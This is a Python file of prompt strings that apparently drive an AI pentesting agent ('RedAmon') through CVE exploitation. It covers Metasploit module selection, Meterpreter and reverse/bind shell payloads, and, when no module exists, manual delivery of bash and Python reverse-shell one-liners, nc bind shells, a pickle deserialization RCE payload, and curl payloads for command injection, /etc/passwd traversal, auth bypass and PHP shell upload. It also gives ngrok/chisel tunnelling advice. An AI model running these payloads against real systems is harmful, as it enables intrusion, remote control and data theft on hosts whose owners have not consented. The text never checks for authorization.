"""
RedAmon CVE-Based Exploitation Prompts

Prompts for CVE-based vulnerability exploitation workflow.
"""


# =============================================================================
# CVE EXPLOITATION TOOLS
# =============================================================================

CVE_EXPLOIT_TOOLS = """
## ⚠️ ATTACK SKILL: CVE (MSF) ⚠️

**CRITICAL: This attack skill has been CLASSIFIED as CVE-based exploitation with Metasploit.**
**You MUST use the CVE (MSF) exploitation workflow below.**

Focus on exploiting the identified CVE vulnerability. Do NOT switch to brute force
or credential guessing unless the CVE exploitation fails completely.

---

## MANDATORY CVE EXPLOITATION WORKFLOW

**This is the SINGLE SOURCE OF TRUTH for CVE exploitation workflow.**
**NEVER guess module names!** Module names are NOT predictable from CVE IDs.

Complete ALL 13 steps in order (chain `set` commands with semicolons `;`):

### 1. Search for CVE
`"search CVE-XXXX-XXXXX"` -> Returns EXACT module path(s)

**If search returns NO results** -> Do NOT guess module names. Report the search failure in your response.
The NO-MODULE FALLBACK workflow will be provided on your next iteration. It uses `execute_nuclei`, `execute_curl`, `execute_code`, and `kali_shell` to exploit the CVE manually.

### 2. Use module
`"use exploit/path/from/search"` -> Load module from step 1

### 3. Get module info
`"info"` -> Overview of module (description, references, general info)

### 4. Show targets
`"show targets"` -> List all available targets (OS/app versions)

### 5. Show options
`"show options"` -> Display all configurable parameters with current values

### 6. Set TARGET (MOST COMMON FAILURE POINT!)
`"set TARGET <N>"` -> Choose based on mode:

**Current mode determines which TARGET type to use:**
- **Statefull mode** -> Use "Dropper", "Staged", or "Meterpreter" targets (creates persistent session)
- **Stateless mode** -> Use "Command", "In-Memory", or "Exec" targets (returns command output)

**Why this matters:**
- Wrong TARGET type = Incompatible payload error OR exploit succeeds but no session/output
- Always run `show targets` first and select the appropriate type for your current mode
- This is the #1 cause of failed exploitations - verify mode before selecting TARGET

### 7. Show payloads
`"show payloads"` -> List payloads compatible with selected TARGET

### 8. Set CVE variant (if applicable)
`"set CVE CVE-XXXX-XXXXX"` -> Only if module supports multiple CVE variants

Check `show options` output for CVE option. Match variant to target's software version.
**Wrong variant = "not vulnerable" error even if target IS vulnerable.**

### 9. Set PAYLOAD
`"set PAYLOAD <payload>"` -> See "Payload Selection" section below

### 10. Set target connection options (chain with semicolons)
```
set RHOSTS <target-ip>; set RPORT <target-port>; set SSL false
```

### 11. Set mode-specific options (chain with semicolons)

**Statefull mode with REVERSE payload (reverse_tcp/reverse_https):**
```
set LHOST <your-attacker-ip>; set LPORT <port-number>
```
- LHOST = Your IP that the target will connect BACK to (REQUIRED for reverse payloads)
- LPORT = Port you'll listen on

**Statefull mode with BIND payload (bind_tcp):**
```
set LPORT <target-port>
```
- NO LHOST needed (you connect TO the target)

**Stateless mode:**
```
set CMD id; set AllowNoCleanup true
```

### 12. Execute exploit
`"exploit"`

"""


# =============================================================================
# CVE PAYLOAD GUIDANCE (Statefull Mode)
# =============================================================================

CVE_PAYLOAD_GUIDANCE_STATEFULL = """
## Payload Selection (Statefull Mode) - SESSION REQUIRED

**GOAL: Establish a persistent session (Meterpreter preferred, shell fallback).**

**Target Selection:** Use "Dropper", "Staged", or "Meterpreter" targets (see EXPLOITATION_TOOLS Step 6).

### Connection Type (choose based on network)

- **reverse_tcp** -> You listen, target connects BACK to you. Use when target can reach your IP.
- **bind_tcp** -> Target opens port, you connect TO target. Use when you can reach target's ports.
- **reverse_http/https** -> HTTP(S) reverse connection, good for bypassing firewalls.

### Payload Priority (try in order)

**1. Meterpreter (preferred)** — advanced features: upload/download, migrate, portfwd, post modules.
- `cmd/unix/python/meterpreter/reverse_tcp`
- `cmd/unix/python/meterpreter/bind_tcp`
- `linux/x64/meterpreter/reverse_tcp`
- `linux/x64/meterpreter/bind_tcp`
- `windows/meterpreter/reverse_tcp`

**2. Shell (fallback)** — use when Meterpreter fails (minimal containers, arch mismatch, restricted env).
- `cmd/unix/reverse_bash`
- `cmd/unix/bind_tcp`
- `linux/x64/shell/reverse_tcp`
- `linux/x64/shell/bind_tcp`

**NEVER use stateless payloads:** `cmd/unix/generic` — runs a single command, no session!

**Choose based on:** Target OS, network reachability (bind vs reverse), available payloads from `show payloads`.

### After Exploit - What to Look For

**Success:**
- `[*] Meterpreter session X opened` or `[*] Command shell session X opened` -> Session created!
- `[*] Sending stage...` -> Wait for transfer

**Failure:**
- Command output like `uid=0(root)` WITHOUT session -> Wrong TARGET type! Select Dropper/Staged/Meterpreter target.
- `[-] Exploit failed` -> Check RHOSTS/RPORT settings
- Meterpreter dies immediately -> Retry with a shell payload (option 2 above)

**After session opens:** Request transition to `post_exploitation` phase.
"""


# =============================================================================
# CVE PAYLOAD GUIDANCE (Stateless Mode)
# =============================================================================

CVE_PAYLOAD_GUIDANCE_STATELESS = """
## Payload Selection (Stateless Mode, no sessions)

**GOAL: Prove RCE with a single command execution, without session activation.**

**Target Selection:** Use "Command", "In-Memory", or "Exec" targets (see EXPLOITATION_TOOLS Step 6).
**Payload:** `cmd/unix/generic` or `cmd/windows/generic`
**Required options:** `set CMD id` and `set AllowNoCleanup true` (if needed)

### After Exploit

- Success = command output visible (e.g., `uid=0(root)...`)
- No output = wrong TARGET selected, change and retry

### STOP After Proof!

After successful PoC:
- If user requested specific post-exploitation actions -> `action="transition_phase"`
- If user just wanted to test vulnerability -> `action="ask_user"` to confirm next steps
"""


# =============================================================================
# NO-MODULE FALLBACK — shared fragments reused by STATEFULL + STATELESS variants
# =============================================================================

_UNDERSTAND_CVE_STEP = """### Step 1 — Understand the CVE

Before exploiting, you MUST know: **vulnerability type**, **how to trigger it** (endpoint, parameter, input format), and **what payload to use**.

Gather this information in order — stop as soon as you have enough to proceed:
1. **Your own knowledge** — If you already know how to exploit this CVE (type, trigger, payload), go directly to the next step.
2. **`query_graph`** — Query the knowledge graph for CVE details, descriptions, and CWE mappings collected during recon.
3. **`web_search`** — Only if you still lack exploitation details. Search for PoC exploits, reverse shell payloads, and exact HTTP requests.

**Do NOT proceed until you understand HOW to trigger the vulnerability.**
"""

# Common troubleshooting rows shared by both fallback variants. Each variant
# appends its mode-specific rows on top of this.
_COMMON_TROUBLESHOOTING_ROWS = """| PoC script fails with import errors | Install dependencies first: `pip3 install <package> && python3 exploit.py` |
| Curl payload gets URL-mangled | Use `--data-urlencode` or `execute_code` with Python `requests` to avoid shell-escape issues |
| **Same approach fails 3+ times** | **STOP. Use `web_search` for a completely different exploitation technique.** |"""


# =============================================================================
# NO-MODULE FALLBACK (Statefull Mode)
# =============================================================================

NO_MODULE_FALLBACK_STATEFULL = """
## NO-MODULE FALLBACK (Statefull Mode) — When No MSF Module Exists

**Trigger:** `search CVE-XXXX-XXXXX` returned NO results in Step 1.
**Goal:** Exploit the CVE to establish a shell session.

""" + _UNDERSTAND_CVE_STEP + """
### Step 2 — Set up session handler (`metasploit_console`)

**⚠️ CRITICAL: Read "Pre-Configured Payload Settings" section above FIRST.**
**It tells you which mode (REVERSE or BIND) to use. Follow ONLY that mode's instructions.**
**Using the wrong mode = shell will NEVER connect = wasted iterations.**

No direction configured → `action: ask_user` first.

**IF REVERSE mode — start handler FIRST (background job):**
```
use exploit/multi/handler; set payload cmd/unix/reverse_bash; set LHOST <LHOST>; set LPORT <LPORT>; run -j
```
Follow the exact handler commands from "Pre-Configured Payload Settings" above (includes tunnel settings if active — ngrok or chisel).

**IF BIND mode — skip to Step 3** (handler comes AFTER exploit delivery).

### Step 3 — Deliver the exploit (choose the right tool)

**The handler runs in `metasploit_console`, but the EXPLOIT DELIVERY should use the best tool for the job.**

**Option A: `execute_curl` — HTTP-based CVEs (most common)**

Inject a shell one-liner through the vulnerable HTTP endpoint.
The shell one-liner MUST match the handler payload from Step 2.

**REVERSE mode — inject reverse shell via curl:**

| Handler payload | Shell one-liner to inject through the vulnerability |
|---|---|
| `cmd/unix/reverse_bash` | `bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1` |
| `cmd/unix/reverse_python` | `python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` |

Example — command injection CVE via curl:
```
execute_curl: "-s 'http://<target>/vuln?cmd=bash+-i+>%26+/dev/tcp/<LHOST>/<LPORT>+0>%261'"
```
Example — deserialization CVE via curl:
```
execute_curl: "-s -X POST -H 'Content-Type: application/json' -d '<serialized_reverse_shell_payload>' http://<target>/api"
```

**BIND mode — inject bind shell via curl, THEN connect handler:**

| Bind shell one-liner to inject through the vulnerability |
|---|
| `nc -lvp <BIND_PORT> -e /bin/bash`  — GNU/traditional nc ONLY |
| `rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f\\|/bin/sh -i 2>&1\\|nc -lvp <BIND_PORT> >/tmp/f`  — OpenBSD nc (default on modern Debian/Ubuntu/Alpine, has no `-e`) |
| `python3 -c 'import socket,subprocess,os;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(("0.0.0.0",<BIND_PORT>));s.listen(1);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);subprocess.call(["/bin/sh","-i"])'` |

After injecting bind shell, connect with `metasploit_console`:
```
use exploit/multi/handler; set payload cmd/unix/bind_tcp; set RHOST <target-ip>; set LPORT <BIND_PORT>; run
```

**Option B: `execute_code` — Python exploit scripts (PREFERRED for code)**

For multi-line exploit scripts, use `execute_code` to avoid shell escaping issues:
```
execute_code: {"code": "import requests\n\ntarget = 'http://<target>/vuln'\npayload = {'cmd': 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'}\nr = requests.post(target, data=payload)\nprint(r.text)", "language": "python"}
```

For deserialization exploits or complex payloads:
```
execute_code: {"code": "import pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(payload)", "language": "python"}
```

**Option C: `kali_shell` — download PoCs, run tools, non-code tasks**

Use kali_shell for shell commands (NOT for writing Python scripts):
```
kali_shell: "git clone <poc-repo> /tmp/poc && cd /tmp/poc && python3 exploit.py --target http://<target> --lhost <LHOST> --lport <LPORT>"
```

**Option D: `metasploit_console` — non-HTTP protocols / last resort**
Only for binary protocol exploits or when other tools can't deliver the payload.
Run custom exploit commands directly inside msfconsole.

### Step 4 — Verify session

```
metasploit_console: "sessions -l"
```
Session opened → transition to `post_exploitation`.

### Troubleshooting & Pivot Strategy

| Problem | Fix |
|---------|-----|
| RCE works but no session connects | 1) Check Pre-Configured Settings — did you use the CORRECT mode (REVERSE vs BIND)? Verify LHOST/LPORT. 2) If LHOST is a hostname (not an IP), the target may lack DNS — resolve it to an IP first with `execute_code` using `socket.gethostbyname()` and use the IP in your payload. 3) If using ngrok or chisel, the handler's `ReverseListenerBindAddress` / `ReverseListenerBindPort` must match the LOCAL end of your tunnel forward — bind address `127.0.0.1` and the bind port your tunnel actually listens on (that is your LPORT, NOT necessarily 4444). |
| Shell connects but dies instantly | 1) If using ngrok or chisel: you are likely using a STAGED payload — switch to STAGELESS (underscore `_` not slash `/`). Staged payloads commonly break through TCP-forwarding tunnels (ngrok/chisel) — the stager's second connection is not forwarded — but work fine over direct connections and full L3 tunnels (VPN, SSH `-w`). 2) Try a different shell one-liner (python instead of bash). 3) Use `web_search` for alternatives. |
""" + _COMMON_TROUBLESHOOTING_ROWS + """
"""


# =============================================================================
# NO-MODULE FALLBACK (Stateless Mode)
# =============================================================================

NO_MODULE_FALLBACK_STATELESS = """
## NO-MODULE FALLBACK (Stateless Mode) — When No MSF Module Exists

**Trigger:** `search CVE-XXXX-XXXXX` returned NO results in Step 1.
**Goal:** Prove RCE with a single command execution — no session needed.

""" + _UNDERSTAND_CVE_STEP + """
### Step 2 — Exploit with the right tool (try in order)

**Option A: `execute_nuclei` — TRY FIRST**
Nuclei has templates for thousands of CVEs. Check if one exists:
```
execute_nuclei: "-u http://<target> -id CVE-XXXX-XXXXX -jsonl"
```
If nuclei confirms vulnerability → RCE proven, done.
If nuclei has no template or returns no results → move to Option B.

**Option B: `execute_curl` — HTTP-based CVEs (most common)**
If the CVE targets an HTTP/web endpoint, craft a curl payload to inject `id` or `whoami`:

| CVE Type | curl example |
|---|---|
| Command injection | `-s 'http://<target>/api?param=;id'` |
| Deserialization RCE | `-s -X POST -H 'Content-Type: application/json' -d '{"payload":"..."}' http://<target>/api` |
| SSTI | `-s 'http://<target>/page?name={{7*7}}'` then escalate to RCE |
| Path traversal / LFI | `-s --path-as-is 'http://<target>/..%2f..%2f..%2fetc/passwd'` |
| Auth bypass | `-s -H 'X-Forwarded-For: 127.0.0.1' http://<target>/admin` |
| File upload RCE | `-s -X POST -F 'file=@shell.php' http://<target>/upload` |

**Key curl flags for exploitation:**
- `--path-as-is` — prevents curl from normalizing `../` sequences (critical for path traversal!)
- `--data-urlencode` — properly URL-encodes payloads with special characters
- `-X POST -d` — POST body for deserialization/injection payloads
- `-H` — custom headers for header injection or auth bypass
- `-b` — send cookies for session-based attacks

**Option C: `execute_code` — Python/script exploits (PREFERRED for code)**
For multi-line exploit scripts, use `execute_code` instead of `kali_shell` to avoid escaping issues:
- Python exploit: `{"code": "import requests\nr = requests.post('http://<target>/vuln', data={'cmd': 'id'})\nprint(r.text)", "language": "python"}`
- Perl exploit: `{"code": "use LWP::Simple;\nprint get('http://<target>/..%2f..%2f/etc/passwd');", "language": "perl"}`

**Option D: `kali_shell` — download PoCs, run tools, non-code tasks**
Use kali_shell for shell commands (NOT for writing Python scripts):
- Download and run a PoC: `"git clone <poc-repo> /tmp/poc && cd /tmp/poc && python3 exploit.py http://<target>"`
- Any Kali tool needed for the exploit

**Option E: `metasploit_console` — last resort**
Only if the exploit requires persistent Metasploit state or multi-step MSF interaction.
Run the exploit commands directly inside msfconsole.

### Verify & Iterate

- Command output visible (e.g., `uid=0(root)`) → **RCE proven, done.**
- No output or error → check encoding, try different payload format, use `web_search` for alternative PoCs.

### Troubleshooting
| Problem | Fix |
|---------|-----|
| Nuclei has no template for this CVE | Move to Option B (curl) or C (execute_code) |
| `--path-as-is` not preserving traversal | Try double-encoding: `..%252f` or `..;/` bypass |
| Empty response from curl | Add `-v` flag to see full request/response headers |
""" + _COMMON_TROUBLESHOOTING_ROWS + """

### After Proof
- If user requested post-exploitation → `action="transition_phase"`
- If just testing vulnerability → `action="ask_user"` to confirm next steps
"""
